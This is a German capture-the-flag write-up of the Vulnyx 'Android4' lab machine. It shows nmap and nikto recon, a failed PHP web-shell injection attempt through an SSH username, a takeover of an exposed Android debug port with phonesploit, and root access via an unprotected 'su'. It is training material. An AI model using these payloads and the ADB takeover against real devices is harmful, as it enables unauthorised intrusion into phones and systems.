Android4 - Vulnyx - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
enum4linux
ftp
gobuster
strings
smbclient
unzip
dex2jar
jd-gui
curl
ffuf
hydra
nc
certbot
vi

Inhaltsverzeichnis

Reconnaissance

In dieser Phase sammeln wir Informationen über das Zielsystem. Dies ist entscheidend, um potenzielle Schwachstellen zu identifizieren. Wir verwenden verschiedene Tools, um Netzwerkdienste, offene Ports und andere relevante Details zu ermitteln.

Ziel ist es, ein umfassendes Bild der Systemarchitektur und der verfügbaren Angriffspunkte zu erhalten. Die gesammelten Informationen dienen als Grundlage für die weiteren Schritte im Pentesting-Prozess.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.131 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 23:44 CEST
Nmap scan report for android-25abe18209db8058 (192.168.2.131)
Host is up (0.00012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
5555/tcp open freeciv?
8080/tcp open http PHP cli server 5.5 or later
|_http-title: Deface by Good Hackers
22000/tcp open ssh Dropbear sshd 2014.66 (protocol 2.0)
| ssh-hostkey:
| 1024 b3986598fdc064fe16d63036aa2bef6b (DSA)
| 2048 19e29e6cc68daf4e867c3b609133e185 (RSA)
|_ 521 46134349248806856c759373b51d8f28 (ECDSA)
MAC Address: 08:00:27:67:D9:FE (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.12 ms android-25abe18209db8058 (192.168.2.131)

Dieser Nmap-Scan identifiziert die offenen Ports und Dienste auf dem Zielsystem. Port 5555 ist offen (vermutlich für Freeciv), Port 8080 läuft ein PHP CLI Server (mit dem Titel "Deface by Good Hackers") und Port 22000 ist für SSH mit Dropbear sshd geöffnet.

Der Scan liefert auch Informationen über die MAC-Adresse, das Betriebssystem und die Netzwerkdistanz. Die SSH-Hostkeys sind ebenfalls aufgeführt.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.131 -p- | grep open
5555/tcp open freeciv?
8080/tcp open http PHP cli server 5.5 or later
22000/tcp open ssh Dropbear sshd 2014.66 (protocol 2.0)

Dieser Befehl wiederholt den Nmap-Scan, filtert aber die Ausgabe, um nur die offenen Ports anzuzeigen. Die Ergebnisse bestätigen die vorherigen Erkenntnisse.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.131:8080
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.131
+ Target Hostname: 192.168.2.131
+ Target Port: 8080
+ Start Time: 2023-06-08 23:59:38 (GMT2)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /.htaccess: Contains configuration and/or authorization information.
+ /reports/rwservlet?server=repserv+report=/tmp/hacker.rdf+destype=cache+desformat=PDF: Oracle Reports rwservlet report Variable Arbitrary Report Executable Execution. See: https://www.exploit-db.com/exploits/26006
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ /wordpress/#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8111 requests: 9 error(s) and 6 item(s) reported on remote host
+ End Time: 2023-06-09 00:00:41 (GMT2) (63 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Der Nikto-Scan auf Port 8080 zeigt mehrere potenzielle Sicherheitslücken: fehlende X-Frame-Options und X-Content-Type-Options Header, die Existenz einer .htaccess Datei (die Konfigurations- und Autorisierungsinformationen enthalten könnte) und die mögliche Ausnutzung einer Oracle Reports rwservlet Schwachstelle.

Besonders interessant sind die Hinweise auf #wp-config.php# Dateien, die WordPress-Konfigurationsdateien sein könnten. Dies deutet darauf hin, dass WordPress auf dem System installiert sein könnte und die Konfigurationsdateien möglicherweise unsicher abgelegt sind.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
127.0.0.1 localhost
192.168.2.131 android.vuln

Wir fügen die IP-Adresse des Zielsystems (192.168.2.131) mit dem Hostnamen "android.vuln" in die /etc/hosts Datei ein, um die Kommunikation mit dem Webserver zu erleichtern.

┌──(root㉿cyber)-[~]
└─# nc 192.168.2.131 22000
SSH-2.0-dropbear_2014.66
...[Weitere SSH-Banner Informationen]...

Wir verbinden uns mit Netcat zum SSH-Port 22000, um das SSH-Banner zu erhalten. Das Banner bestätigt, dass es sich um Dropbear sshd 2014.66 handelt.

http://192.168.2.131:8080/
Good Hackers ? means
we drop here our backdoor for access

If you r Smart Dan find Backdoor access...and safe your machine

we like POST things only.

Auf Port 8080 finden wir eine einfache Webseite mit einer Nachricht, die auf eine Backdoor und die Vorliebe für POST-Requests hinweist. Dies deutet darauf hin, dass wir POST-Requests verwenden sollten, um die Backdoor zu finden.

┌──(root㉿cyber)-[~]
└─# dirb http://192.168.2.131:8080/
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Fri Jun 9 00:03:04 2023
URL_BASE: http://192.168.2.131:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.2.131:8080/ ----
+ http://192.168.2.131:8080/.htaccess (CODE:200|SIZE:13)

-----------------
END_TIME: Fri Jun 9 00:03:34 2023
DOWNLOADED: 4612 - FOUND: 1

Wir verwenden dirb, um nach weiteren Verzeichnissen und Dateien auf dem Webserver auf Port 8080 zu suchen. Wir finden die Datei .htaccess.

Die .htaccess-Datei könnte nützliche Informationen über die Webserver-Konfiguration enthalten, z.B. Regeln für die Zugriffskontrolle oder Umleitungen.

┌──(root㉿cyber)-[~]
└─# curl -Iv 192.168.2.131:5555
* Trying 192.168.2.131:5555...
* Connected to 192.168.2.131 (192.168.2.131) port 5555 (#0)
> HEAD / HTTP/1.1
> Host: 192.168.2.131:5555
> User-Agent: curl/7.88.1
> Accept: */*
>
* Empty reply from server
* Closing connection 0
curl: (52) Empty reply from server

hier wird der Server unter 5555 abgefragt, mit leerer Antwort.

┌──(root㉿cyber)-[~]
└─# ssh ben@android.vuln -p 22000
The authenticity of host '[android.vuln]:22000 ([192.168.2.131]:22000)' can't be established.
ECDSA key fingerprint is SHA256:v5sVu4yzn12MeNH5q2OasYtxXYgjS9oRz3iODj9MUWA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[android.vuln]:22000' (ECDSA) to the list of known hosts.
ben@android.vuln: Permission denied (publickey).

wir nutzen SSH Key um uns mit dem Server zu verbinden.

┌──(root㉿cyber)-[~]
└─# ssh 'php system($GET["cmd"]); ?' @android.vuln -p 22000
system($GET["cmd"]); ?>@android.vuln: Permission denied (publickey).

wir versuchen Php injection, doch dies schlägt fehl.

____ __ _____ __ _ __
/ __ \/ /_ ____ ____ ___ / ___/____ / /___ (_) /_
/ /_/ / __ \/ __ \/ __ \/ _ \__ \/ __ \ / / __ \/ / __/
/ ____/ / / / /_/ / / / / __/__/ / /_/ / / /_/ / / /_
/_/ /_/ /_/\____/_/ /_/\___/____/ .___/_/\____/_/\__/
/_/


[1] Show Connected Devices [6] Screen record a phone [11] Uninstall an app
[2] Disconect all devices [7] Screen Shot a picture on a phone [12] Show real time log of device
[3] Connect a new phone [8] Restart Server [13] Dump System Info
[4] Access Shell on a phone [9] Pull folders from phone to pc [14] List all apps on a phone
[5] Install an apk on a phone [10] Turn The Device off [15] Run an app


[99] Exit [0] Clear [p] Next Page


error: no devices/emulators found
List of devices attached


[+] Enter a phones ip address.(Type 99 to exit)
-> phonesploit(connect_phone) > 192.168.2.131
connected to 192.168.2.131:5555
phonesploit(main_menu) > 4

uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)@x86:/ $

Hier verbinden wir uns mit phonesploit auf Port 5555. Nach dem Verbinden wählen wir Option 4, um auf die Shell zuzugreifen. Wir erhalten eine Shell mit der UID 2000 (shell).

id
uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)

zeigt das Shell gruppen hat

uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)@x86:/ $ ls -la
dr-xr-xr-x root root 2023-06-09 03:13 acct
drwxrwx--- system cache 2023-06-09 03:13 cache
dr-x------ root root 2023-06-09 03:13 config
lrwxrwxrwx root root 2023-06-09 03:13 d -> sys/kernel/debug
drwxrwx--x system system 2018-04-04 14:12 data
-rw-r--r-- root root 148 2023-06-09 03:13 default.prop
drwxr-xr-x root root 2023-06-08 21:43 dev
lrwxrwxrwx root root 2023-06-09 03:13 etc -> system/etc
-rw-r--r-- root root 8870 2023-06-09 03:13 file_contexts
-rwxr-x--- root root 404900 2023-06-09 03:13 init
-rwxr-x--- root root 1022 2023-06-09 03:13 init.bluetooth.rc
-rwxr-x--- root root 935 2023-06-09 03:13 init.environ.rc
-rwxr-x--- root root 20154 2023-06-09 03:13 init.rc
-rwxr-x--- root root 301 2023-06-09 03:13 init.superuser.rc
-rwxr-x--- root root 1795 2023-06-09 03:13 init.trace.rc
-rwxr-x--- root root 3915 2023-06-09 03:13 init.usb.rc
-rwxr-x--- root root 5682 2023-06-09 03:13 init.x86.rc
lrwxrwxrwx root root 2023-06-09 03:13 lib -> system/lib
drwxrwxr-x root system 2023-06-09 03:13 mnt
dr-xr-xr-x root root 2023-06-09 03:13 proc
-rw-r--r-- root root 2161 2023-06-09 03:13 property_contexts
drwxr-x--- root root 2023-06-09 03:13 sbin
lrwxrwxrwx root root 2023-06-09 03:13 sdcard -> /storage/emulated/legacy
-rw-r--r-- root root 656 2023-06-09 03:13 seapp_contexts
-rw-r--r-- root root 74816 2023-06-09 03:13 sepolicy
drwxr-x--x root sdcard_r 2023-06-09 03:13 storage
dr-xr-xr-x root root 2023-06-09 03:13 sys
drwxr-xr-x root root 2017-12-10 19:23 system
-rw-r--r-- root root 382 2023-06-09 03:13 ueventd.android_x86.rc
-rw-r--r-- root root 3874 2023-06-09 03:13 ueventd.rc
lrwxrwxrwx root root 2023-06-09 03:13 vendor -> system/vendor
-rw-r----- root root 105 2023-06-09 03:13 x86.prop

schaut sich den Inhalt des Servers an.

whoami
whoami: unknown uid 2000
1|uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)@x86:/ $

zeigt uns die Ids

Privilege Escalation
$ su root
uid=0(root) gid=0(root)@x86:/ # id
uid=0(root) gid=0(root)
cat /data/root/flag.txt
"ANDROID{u_GOT_root_buddy}
" Privilege Escalation erfolgreich

Flags

cat root.txt
ANDROID{u_GOT_root_buddy}

Hier ist der Flag.